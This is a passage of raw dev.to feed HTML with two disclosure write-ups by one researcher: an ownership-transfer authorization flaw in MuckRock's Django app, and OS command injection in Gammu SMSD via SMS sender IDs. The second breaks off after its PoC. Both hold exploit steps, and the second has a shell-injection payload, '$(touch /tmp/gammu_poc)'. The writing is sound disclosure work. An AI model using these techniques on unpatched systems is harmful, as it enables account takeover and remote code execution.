&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;detail_actions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;action&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;foia&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no allowlist. Every callable in the &lt;code&gt;detail_actions&lt;/code&gt; module is effectively a user-reachable endpoint, selected by an attacker-supplied string. That alone isn't the vulnerability, but it means the security of the page is only as strong as the &lt;em&gt;weakest&lt;/em&gt; permission check inside that module — and nobody audits that module as an attack surface, because it doesn't look like a router.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;Here is the action the string &lt;code&gt;change_owner&lt;/code&gt; selects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# muckrock/foia/views/detail_actions.py:511-521  (abridged)
&lt;/span&gt;&lt;span class="n"&gt;has_perm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;foia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has_perm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;change&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;has_perm&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_valid&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;_get_redirect&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;change_owner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;foia&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;foia.has_perm(request.user, "change")&lt;/code&gt; resolves to &lt;code&gt;foia.change_foiarequest&lt;/code&gt; — which is &lt;code&gt;can_edit&lt;/code&gt; — which &lt;strong&gt;includes &lt;code&gt;is_editor&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And here is what the form actually writes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# muckrock/foia/forms/detail.py:105-134  (abridged)
&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ModelChoiceField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queryset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;foia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;composer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_user&lt;/span&gt;
&lt;span class="n"&gt;foia&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;composer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;  &lt;span class="c1"&gt;# an audit note recording the change is written here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things to notice. First, the queryset is &lt;code&gt;User.objects.all()&lt;/code&gt; — the new owner can be &lt;em&gt;any&lt;/em&gt; account on the platform, not just an existing collaborator on the request. Second, the field being written is &lt;code&gt;foia.composer.user&lt;/code&gt;. That is a composer mutation, governed by &lt;code&gt;can_edit_composer&lt;/code&gt; — the predicate that deliberately excludes editors — and &lt;code&gt;can_edit_composer&lt;/code&gt; is never consulted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5lwfbhqfn5eys5wbu9pu.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5lwfbhqfn5eys5wbu9pu.gif" alt=" " width="800" height="586"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The gate checked the permission for the object it routed through; the write landed on a different object, with a stricter permission the codebase had already defined and simply never called.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That framing matters because it's what separates this from a design decision. If &lt;code&gt;rules.py&lt;/code&gt; had no &lt;code&gt;can_edit_composer&lt;/code&gt;, a maintainer could reasonably say "editors are trusted, this is intended." But the project's own permission model says owner mutations are owner-and-staff only. The check that enforces that rule exists. It just isn't on this path.&lt;/p&gt;

&lt;p&gt;It's also the &lt;em&gt;only&lt;/em&gt; such path. &lt;code&gt;revoke_access&lt;/code&gt; — the other way to remove someone — edits the read/edit collaborator many-to-many sets, and &lt;code&gt;composer.user&lt;/code&gt; is in neither of them. An editor cannot dislodge the owner any other way. &lt;code&gt;change_owner&lt;/code&gt; isn't a redundant convenience; it's a unique escalation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept
&lt;/h2&gt;

&lt;p&gt;I reproduced this end to end against shipped code (HEAD &lt;code&gt;817f134&lt;/code&gt;), driving the real &lt;code&gt;FOIARequestDetail.post()&lt;/code&gt; → &lt;code&gt;change_owner()&lt;/code&gt; → &lt;code&gt;FOIAOwnerForm.change_owner()&lt;/code&gt; path with &lt;code&gt;detail.py&lt;/code&gt;, &lt;code&gt;detail_actions.py&lt;/code&gt;, &lt;code&gt;forms/detail.py&lt;/code&gt; and &lt;code&gt;rules.py&lt;/code&gt; unmodified. (The harness used MuckRock's own test settings and Django's test client, because login is delegated to a separate SSO service, and an unrelated private submodule was stubbed so Django would boot. Neither touches the permission logic under test.)&lt;/p&gt;

&lt;p&gt;Five synthetic accounts, one embargoed request, deliberately benign — the "payload" is a permission test, nothing more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A&lt;/strong&gt; — owner of an embargoed request&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;B&lt;/strong&gt; — editor collaborator, added via the owner-conferred &lt;code&gt;add_editor&lt;/code&gt; path&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;C&lt;/strong&gt; — an unrelated account, standing in for an account B controls&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;D&lt;/strong&gt; — authenticated stranger, no role at all&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;E&lt;/strong&gt; — read-only &lt;em&gt;viewer&lt;/em&gt; on the request&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;B, authenticated as an editor only, posted &lt;code&gt;action=change_owner&lt;/code&gt; with &lt;code&gt;user=C&lt;/code&gt;. The response was a 302 to the same page — identical to the failure path, which is why the database is the real oracle (&lt;code&gt;foia_foiacomposer&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csvs"&gt;&lt;code&gt;&lt;span class="k"&gt;composer&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="k"&gt;id&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="k"&gt;composer&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="k"&gt;owner&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="k"&gt;id&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="k"&gt;foia&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="k"&gt;id&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="k"&gt;embargo&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="k"&gt;status&lt;/span&gt;
&lt;span class="mf"&gt;1&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;1&lt;/span&gt;  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;Account&lt;/span&gt; &lt;span class="k"&gt;A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;1&lt;/span&gt;       &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="k"&gt;embargo&lt;/span&gt;    &lt;span class="err"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="k"&gt;before&lt;/span&gt;
&lt;span class="mf"&gt;1&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;3&lt;/span&gt;  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;Account&lt;/span&gt; &lt;span class="k"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;1&lt;/span&gt;       &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="k"&gt;embargo&lt;/span&gt;    &lt;span class="err"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="k"&gt;after&lt;/span&gt; &lt;span class="k"&gt;B&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="k"&gt;s&lt;/span&gt; &lt;span class="k"&gt;POST&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the part that settles the impact: A requested her own embargoed FOIA request and got &lt;strong&gt;HTTP 404&lt;/strong&gt;. &lt;code&gt;has_perm(A, "view")&lt;/code&gt; was now &lt;code&gt;False&lt;/code&gt;. She had not been demoted; she had been erased from the object.&lt;/p&gt;

&lt;p&gt;The controls are what make the boundary precise:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Positive control&lt;/strong&gt; — C, now the legitimate owner, transferred it back to A. The feature works correctly for an owner. The defect is the gate, not the function.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Negative control #1&lt;/strong&gt; — D (no role) is blocked earlier, at &lt;code&gt;get_object()&lt;/code&gt;. 404, owner unchanged.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Negative control #2, the sharp one&lt;/strong&gt; — E is a &lt;em&gt;viewer&lt;/em&gt;: &lt;code&gt;has_perm(E, "view")&lt;/code&gt; is &lt;code&gt;True&lt;/code&gt;, so E reaches the same handler B did, but &lt;code&gt;has_perm(E, "change")&lt;/code&gt; is &lt;code&gt;False&lt;/code&gt; and the transfer is refused. Owner unchanged.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the exploitable line falls exactly at the editor tier. Not "anyone who can see the request," not "any authenticated user" — specifically the collaboration tier the owner grants, which is the one the codebase said should not be able to do this.&lt;/p&gt;

&lt;p&gt;One detail I enjoyed: the app writes its own audit note during the transfer, so the exploit signs its own name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;foia_foianote: author_id=2  "poc_editor_b (2) changed ownership of this request
                             from poc_owner_a (1) to poc_recipient_c (3)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The fix that landed is one line — commit &lt;code&gt;9e6e82c1&lt;/code&gt;, 2026-07-21, one file, &lt;code&gt;+1/−1&lt;/code&gt;, commit message "Fix sharing". It changes the gate to the one the codebase was already asking for: authorize against the object you're about to mutate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;- has_perm = foia.has_perm(request.user, "change")
&lt;/span&gt;&lt;span class="gi"&gt;+ has_perm = foia.composer.has_perm(request.user, "change")
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;foia.composer.has_perm(..., "change")&lt;/code&gt; resolves to &lt;code&gt;can_edit_composer&lt;/code&gt; = &lt;code&gt;is_owner_composer | is_staff&lt;/code&gt;, so editors are refused and owners are unaffected.&lt;/p&gt;

&lt;p&gt;Two hardening changes would belong with it, and as far as I can tell were not part of that one-line commit: replace the &lt;code&gt;getattr(detail_actions, action)&lt;/code&gt; dispatch with an explicit allowlist, and constrain &lt;code&gt;FOIAOwnerForm.user&lt;/code&gt; to plausible targets rather than every account in the database.&lt;/p&gt;

&lt;p&gt;MuckRock has no tagged releases — it deploys continuously from &lt;code&gt;main&lt;/code&gt;, so "fixed in" here means "landed on &lt;code&gt;main&lt;/code&gt;" rather than a version number. I confirmed the fix from the commit; I have not rebuilt a patched instance and re-run the PoC against it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Authorize the object you mutate, not the object you routed through.&lt;/strong&gt; The permission check and the write were on different models. That's an easy mistake in any ORM where &lt;code&gt;a.b.c = x&lt;/code&gt; reads like one operation on &lt;code&gt;a&lt;/code&gt;, and it's invisible to a reviewer skimming for "is there a permission check here?" — because there is one. It's just checking the wrong noun.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When a codebase defines two permissions for two tiers, grep every call site of the looser one.&lt;/strong&gt; &lt;code&gt;can_edit&lt;/code&gt; vs &lt;code&gt;can_edit_composer&lt;/code&gt; is a documented intent. Any place that writes composer state while checking &lt;code&gt;can_edit&lt;/code&gt; is, by the project's own standard, a bug. That's a mechanical audit you can run in minutes, and it generalizes: find the permission pair, then find the mismatched call sites.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;getattr(module, user_input)&lt;/code&gt; dispatch quietly promotes a whole module into a router.&lt;/strong&gt; Every function becomes reachable, and reviewers stop treating the module as an attack surface because it has no URL patterns. Siblings in that module — &lt;code&gt;promote&lt;/code&gt;, &lt;code&gt;demote&lt;/code&gt;, &lt;code&gt;generate_key&lt;/code&gt;, &lt;code&gt;withdraw&lt;/code&gt; — appear to share the same gate; I flagged them as leads rather than chasing them, which is exactly why variant sweeps are worth doing after any confirmed sink.&lt;/p&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-07-14&lt;/td&gt;
&lt;td&gt;Found during source review; live PoC confirmed the same day (5-account harness, positive control + two negative controls)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-07-18&lt;/td&gt;
&lt;td&gt;Reported by email to MuckRock's maintainers and general contact address under coordinated disclosure, with full remediation guidance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-07-21&lt;/td&gt;
&lt;td&gt;One-line fix lands on &lt;code&gt;main&lt;/code&gt; — commit &lt;code&gt;9e6e82c1&lt;/code&gt;, "Fix sharing", one file, &lt;code&gt;+1/−1&lt;/code&gt;. Three days after the report.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;No CVE assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Credit
&lt;/h2&gt;

&lt;p&gt;Reported by &lt;strong&gt;Santosh Kumar Puppala&lt;/strong&gt; — GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;. My thanks to the MuckRock team, who run a genuinely important piece of public-interest infrastructure on a nonprofit budget, and who turned this around in three days.&lt;/p&gt;

&lt;p&gt;If you maintain a Django app with a &lt;code&gt;rules.py&lt;/code&gt;-style predicate file, go grep for the tighter predicate and check who's actually calling it. That's a fifteen-minute audit and it's how this one was found.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq &amp;amp; Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>django</category>
      <category>appsec</category>
    </item>
    <item>
      <title>A text message that runs a command: OS command injection in Gammu SMSD (GHSA-9vjj-v46c-c5qf)</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Fri, 07 Aug 2026 15:53:47 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/a-text-message-that-runs-a-command-os-command-injection-in-gammu-smsd-ghsa-9vjj-v46c-c5qf-1kci</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/a-text-message-that-runs-a-command-os-command-injection-in-gammu-smsd-ghsa-9vjj-v46c-c5qf-1kci</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; &lt;a href="https://github.com/gammu/gammu" rel="noopener noreferrer"&gt;Gammu&lt;/a&gt; SMSD — the daemon behind a huge number of SMS gateways, alerting rigs and 2FA senders — runs an operator-configured hook every time a text arrives. With the &lt;strong&gt;Files backend&lt;/strong&gt; and &lt;strong&gt;RunOnReceive&lt;/strong&gt; enabled, the SMS &lt;strong&gt;sender ID&lt;/strong&gt; was escaped for use as a &lt;em&gt;filename&lt;/em&gt; but not for the &lt;em&gt;shell&lt;/em&gt;, and then appended to a &lt;code&gt;/bin/sh -c&lt;/code&gt; command line. A sender ID containing shell metacharacters executed arbitrary commands as the &lt;code&gt;gammu-smsd&lt;/code&gt; user.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; Remote, unauthenticated code execution triggered by sending a text message. Commands run with the daemon's privileges. Missing neutralization of special elements in an OS command (CWE-78).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed in:&lt;/strong&gt; Gammu &lt;strong&gt;1.43.3&lt;/strong&gt;. Advisory &lt;a href="https://github.com/gammu/gammu/security/advisories/GHSA-9vjj-v46c-c5qf" rel="noopener noreferrer"&gt;GHSA-9vjj-v46c-c5qf&lt;/a&gt;, published 25 July 2026, rated &lt;strong&gt;High (8.1)&lt;/strong&gt;, credited to me as reporter. CVE requested, pending GitHub assignment.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Most command-injection bugs need the attacker to already be talking to your HTTP API. This one needs a phone number.&lt;/p&gt;

&lt;p&gt;Gammu SMSD sits on the receiving end of a modem or GSM dongle. Hospitals use it for on-call paging, monitoring systems use it for SMS alerts, and plenty of small shops use it as the cheap half of a 2FA setup. A very common configuration is: store incoming messages as files (the &lt;strong&gt;Files backend&lt;/strong&gt;), and run a script whenever one arrives (&lt;strong&gt;RunOnReceive&lt;/strong&gt;) — to forward it, log it, or trigger something.&lt;/p&gt;

&lt;p&gt;The input to that script comes from the outside world over the cellular network. The sender doesn't authenticate to anything. And on many networks the &lt;strong&gt;sender ID is an arbitrary alphanumeric string&lt;/strong&gt;, not a phone number — that's how banks send texts that say "HSBC" instead of a number. Alphanumeric sender IDs are attacker-controllable, and they can carry the exact characters a shell treats as syntax.&lt;/p&gt;

&lt;p&gt;That is the whole bug: a value from a text message reaches &lt;code&gt;/bin/sh&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;Gammu SMSD's Files backend writes each received message to a file whose name includes the sender. To keep that filename legal, it runs the sender ID through an escaping function first. Here is what that function removes, verified at the shipped tag &lt;code&gt;v1.43.2&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// smsd/services/files.c — SMSDFiles_EscapeNumber()&lt;/span&gt;
&lt;span class="c1"&gt;// Replaces with '_' :  * &amp;lt; &amp;gt; : " / \ | ?  and control chars&lt;/span&gt;
&lt;span class="c1"&gt;// Leaves untouched   :  $  ` ;  &amp;amp;  (  )  space  — all valid in a GSM-7 sender ID&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the two sets. The characters it strips are the ones that would break a &lt;em&gt;filename&lt;/em&gt;. The characters it leaves are the ones that matter to a &lt;em&gt;shell&lt;/em&gt;: &lt;code&gt;$&lt;/code&gt;, backtick, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;(&lt;/code&gt;, &lt;code&gt;)&lt;/code&gt;. The escaping was written to make a safe filename, and at that job it succeeds. It was never written to make a safe shell token, and nobody asked it to.&lt;/p&gt;

&lt;p&gt;That distinction — safe for the filesystem, unsafe for the shell — is the entire finding.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;The escaped sender ID goes into the filename:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// smsd/services/files.c — filename built from the escaped sender (buffer2)&lt;/span&gt;
&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"IN%s_%s_%02d.txt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msgcount&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The filename is then handed back to the core daemon as the "location" of the received message, and the core pastes it straight onto the hook command line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// smsd/core.c — SMSD_RunOnCommand(), pre-fix&lt;/span&gt;
&lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"%s %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;locations&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// command = your RunOnReceive script; locations = the filename&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that string is executed through the shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// smsd/core.c — pre-fix&lt;/span&gt;
&lt;span class="n"&gt;execl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"sh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmdline&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sh -c&lt;/code&gt; parses its argument as a shell command. So every &lt;code&gt;$(...)&lt;/code&gt;, backtick, &lt;code&gt;;&lt;/code&gt; and &lt;code&gt;&amp;amp;&lt;/code&gt; that survived the filename escaping is now shell syntax. The filename &lt;code&gt;IN..._$(id)_00.txt&lt;/code&gt; doesn't name a file — it runs &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The "aha"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The sender ID was escaped for the place it was going to be stored, and then used somewhere else entirely.&lt;/strong&gt; A sanitizer is only correct relative to the sink it was written for. This one guarded a filename and was then trusted at a shell — two different grammars, one value, no re-checking at the boundary between them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept (benign)
&lt;/h2&gt;

&lt;p&gt;You do not need a modem to see it. The unsafe path is &lt;code&gt;SaveInboxSMS → RunOnReceive&lt;/code&gt;, and it can be exercised with &lt;code&gt;gammu-smsd-inject&lt;/code&gt; or by dropping a crafted message into the spool that a live SMS would produce. The safe, non-destructive marker is a sender ID whose "command" just writes a file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# gammu-smsd configured with:  Service = files   RunOnReceive = /path/to/hook.sh&lt;/span&gt;
&lt;span class="c"&gt;# A received message whose alphanumeric sender ID is:&lt;/span&gt;
&lt;span class="c"&gt;#     x$(touch /tmp/gammu_poc)x&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# The Files backend escapes it for the filename (the $, ( ) survive),&lt;/span&gt;
&lt;span class="c"&gt;# the core appends the filename to the hook command, and /bin/sh evaluates it:&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/gammu_poc
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 gammu-smsd gammu-smsd 0 ... /tmp/gammu_poc     &lt;span class="c"&gt;# the command ran&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

